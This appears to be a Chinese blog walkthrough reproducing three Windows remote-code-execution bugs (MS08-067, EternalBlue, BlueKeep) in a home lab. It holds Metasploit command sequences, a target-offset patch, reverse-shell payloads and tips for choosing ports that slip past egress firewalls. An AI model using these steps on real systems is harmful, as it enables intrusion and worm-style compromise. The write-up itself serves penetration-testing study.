MS漏洞
0x01、目的
安装Nessus之后,利用Nessus对之前的镜像简单进行了下测试。正好扫描出了多个MS高危漏洞,所以此篇文章主要对这些漏洞进行一下简单的复现,以及记录在测试过程中出现的各种问题。
- 1、MS08-067
- 2、MS17-010
- 3、CVE-2019-0708
0x02、简述
简单了解一下如MS08-067这些编号的含义,如下图1所示:
MS:Microsoft(微软给自家产品漏洞命名方法),也有CVE号
08:补丁发布的时间
067:该年该漏洞补丁发布的编号
0x03、漏洞复现
下文将一并阐述漏洞复现过程中碰到的很多问题。
1.MS08-067漏洞复现
1.1.漏洞简述
简述:攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行权限。
注:该漏洞可以被利用作为蠕虫的主动传播机制(如Conficker蠕虫)
Nmap扫描结果如下所示:
具体测试过程如1.3所示
1.2.影响范围
1
2
3
Winxp
Win2000
Win2003
1.3.复现过程
(1)准备阶段
攻击机:Kali、Metasploit
攻击IP:192.168.189.128
目标靶机:Win2003中文简体版
目标IP:192.168.189.135
(2)攻击阶段——精简版
命令汇总:(精简版,详情请见下)
进入msf后:
Msf > use exploit/windows/smb/ms08_067_netapi
Msf > set RHOSTS 192.168.189.135
Msf > set TARGET 73
Msf > set payload windows/meterpreter/reverse_tcp_allports
Msf > set LHOST 192.168.189.128
Msf > exploit
注意:
- 1)ms08_067_netapi.rb中,不含win2003中文简体版的攻击代码,需要自行增加。
- 2)target选择对应系统版本,此处73是新增的win2003中文简体版
(3)攻击阶段——详情版
由于靶机是win2003中文简体版本,需要自行在源代码基础上进行改动。
/usr/share/metasploit-framework/modules/exploits/windows/smb
该目录下找到ms08_067_netapi.rb,增加以下代码:(缩进用空格,不要Tab)
[ 'Windows 2003 SP2 Chinese (NX)',
{
'RetDec' => 0x7c99beb8, # dec ESI, ret @NTDLL.DLL(0x4EC3)
'RetPop' => 0x7cb5e84e, # push ESI, pop EBP, ret @SHELL32.DLL
'JmpESP' => 0x7c99a01b, # jmp ESP @NTDLL.DLL
'DisableNX' => 0x7c96f517, # NX disable @NTDLL.DLL
'Scratch' => 0x00020408
}
],
如下图所示:
增添完了之后,重载所有msf模块(也可以单独加载)
Msf > reload_all
加载完之后
Msf > use exploit/windows/smb/ms08_067_netapi
通常会show options查看需要设置哪些参数。
Msf > set RHOSTS 192.168.189.135
Msf > show targets
此处73的编号跟代码添加位置有关,此处是将代码添加到最后,如果添加到中间,则后边编号都顺移,根据要攻击的目标系统选择对应的exp
Msf > set TARGET 73
注:此处默认的target是自动选择,ms08-067的自动选择出错率极高,一定要自己设置,这里也是在复现过程中碰到的一个坑。
Msf > set payload windows/meterpreter/reverse_tcp_allports
注:设置payload,根据网上资料也有很多,比如windows/shell/reverse_tcp或者windows/meterpreter/reverse_tcp等,但这两种需要自行设置监听端口,这里也是一个大坑,卡着没有复现成功,可能的原因是由于出口管制,目标机向外访问攻击机的某些端口行为被禁止。更改payload后,reverse_tcp_allports是不需要自己设置监听端口的,会自行从本机端口1开始,寻求能够弹回连通的端口,直到65535.
Msf > set LHOST 192.168.189.128
Msf > exploit
(4)复现结果
反弹成功,获取shell

(5)小结
漏洞复现不成功可能的原因:
- A.target里没有对应系统的攻击代码,需要自行添加。添加方式见上
- B.在利用ms08-067时,一定要自行设置TARGET,自动选择的错误率极高
- C.Payload多试几个,reverse_tcp_allports不常用,但是在此次测试里起到很关键,不设置监听端口,自行寻找能接收弹回的端口,(感谢Metasploit Penetration tester’s guide一书提供的思路)
- D.如果碰到以下错误,请重启靶机后再进行尝试
1.4.修复方案
待续
2.MS17-010漏洞复现
注:win2003同一个漏洞环境在复现ms17_010的时候比较简单,没有碰到不成功的情况。
2.1.漏洞简述
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。又称永恒之蓝漏洞,漏洞危害极大。
2.2.影响范围
目前已知受影响的Windows 版本包括但不限于:
1
2
3
4
5
6
7
8
9
10WindowsNT、
Windows2000、
Windows XP、
Windows 2003、
Windows Vista、
Windows 7、
Windows 8、
Windows 2008、
Windows 2008 R2、
Windows Server 2012 SP0
2.3.复现过程
主要涉及两个模块,一个用来扫描,一个用来进行攻击。
auxiliary/scanner/smb/smb_ms17_010(扫描模块)
exploit/windows/smb/ms17_010_psexec(攻击模块,注:还有其他的攻击模块,一个不成功可以试下其他的)
(1)准备阶段
攻击机:Kali、Metasploit
攻击IP:192.168.189.128
目标靶机:Win2003中文简体版
目标IP:192.168.189.135
(2)扫描阶段
扫描:
使用命令:
Msf > set RHOSTS [靶机IP]
Msf > run
扫描结果:
(3)攻击阶段
攻击获取shell:
使用命令:
Msf > set RHOSTS [靶机IP]
Msf > set PAYLOAD windows/meterpreter/reverse_tcp (payload选取也可以多尝试几个)
Msf > set LHOST [攻击机IP]
Msf > set LPORT 8080
(注:在设置监听端口时,尽可能设置一些能过防火墙的端口,以免被对面防火墙拦截,从而禁止反弹外连该端口,可以设置为如80,8080等)
设置过程如下图所示:
攻击结果:

(4)小结
暂无
2.4.修复方案
待续
3.CVE-2019-0708漏洞复现
3.1.漏洞简述
Windows RDP服务高危漏洞:未经身份验证的攻击者可以通过RDP连接到存在此漏洞的系统,并在该系统执行任意代码。由于触发该漏洞无需用户交互,攻击者可以利用该漏洞制作类似Wannacry一类蠕虫病毒,进行大规模传播。
3.2.影响范围
1
2
3
4
5
Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP
3.3.复现过程
(1)准备阶段
攻击机:kali-2019.01
攻击IP:192.168.189.143
靶机:win 7 旗舰版 sp1
靶机IP:192.168.189.146
利用工具github上有,将四个文件,分别放到相应的目录,(如rdp目录需要自行创建,如果目录下已经存在如rdp.rb文件,也需要进行替换)
利用工具:https://github.com/TinToSer/bluekeep-exploit
1
2
3
4rdp.rb --> /usr/share/metasploit-framework/lib/msf/core/exploit/
rdp_scanner.rb --> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
cve_2019_0708_bluekeep.rb --> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
cve_2019_0708_bluekeep_rce.rb --> /usr/share/metasploit-framework/modules/exploits/windows/rdp/
本文是在相应位置上传单个文件的,也可以用cp命令复制到相应的位置,如下所示(此截图来自于玄魂工作室,文末参考网址给出具体文章)
进入msf,重载所有模块,命令如下:
msf > reload_all
注:如果重载不成功,
1)更新metasploit-framework
命令: apt-get install metasploit-framework
- 2)修改名字,如大小写下划线等
此处涉及到4个模块,不建议,修改后可能代码也需要修改。 - 3)更换kali,换成新版kali
实测过程中,kali2018版的重载失败。简单查找之后没有找到上佳解决方案,直接换核,省事。
win7 sp1准备:
开启3389:
计算机右键——>打开属性——>选择远程设置——>允许运行任意版本
(2)扫描阶段
导入的模块中有扫描性质的,利用auxiliary/scanner/rdp/cve_2019_0708_bluekeep,但是并不能获得结果,如下图所示,原因暂无:
(3)攻击阶段
使用命令:
Msf > set RHOSTS 192.168.189.146
Msf > set RPORT 3389
Msf > set TARGET 3(此处因为环境是搭在vmware)
Msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
Msf > set LHOST 192.168.189.143(设置本机监听IP)
Msf > set LPORT 8080(设置监听端口)
攻击结果:

(4)小结
除了reload_all重载msf模块时出的问题,在利用该exp的时候,复现不成功原因可能如下:
- A.相应文件没有替换成功或者目录有误,出现如下错误:
Exploit failed: NameError undefined local variable or method ‘rdp_connect’ for - B.出现如下错误时,需要设置ForceExploit为true
设置forceexploit,命令如下:
Msf > set forceexploit true
- C.环境搭在vmware或者virtualbox下,选对应target时还不成功,就换一下设置为1/2/4等
- D.win2008 r2需要修改注册表,输入regedit将以下目录fDisableCam的值改为0
1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
- E.打蓝屏重启,多试几次能成功
3.4.修复方案
待续
0x04.总结
该文主要对ms08_067、ms17_010和cve2019-0708进行了漏洞的复现。碰到的问题很多,比如第一个08067选取target的时候,是跟系统语言版本有关系的(影响了跳跃点),所以在用win2003中文版进行复现的时候,恰好是官方模块里不含的,需要进行补足代码,0708的exp比较不稳定,需要多尝试,实战中,不是太能敢用,尤其涉及到生产环节,除了msf中的检测模块,360也提供了一个检测的应用程序,可以日常进行测试。
修复方案待续,网上修复方案说的比较细,但长期以来没有针对修复上自行打补丁等验证过,后边有时间再来进行一次补足。
该文持续更新,MS漏洞,大致是想写个大合集。
0x05.参考网址
MS-08-067:
http://www.mamicode.com/info-detail-2348703.html
https://blog.rapid7.com/2014/02/03/new-ms08-067/
CVE-2019-0708:
https://cloud.tencent.com/developer/article/1507769 (含环境下载)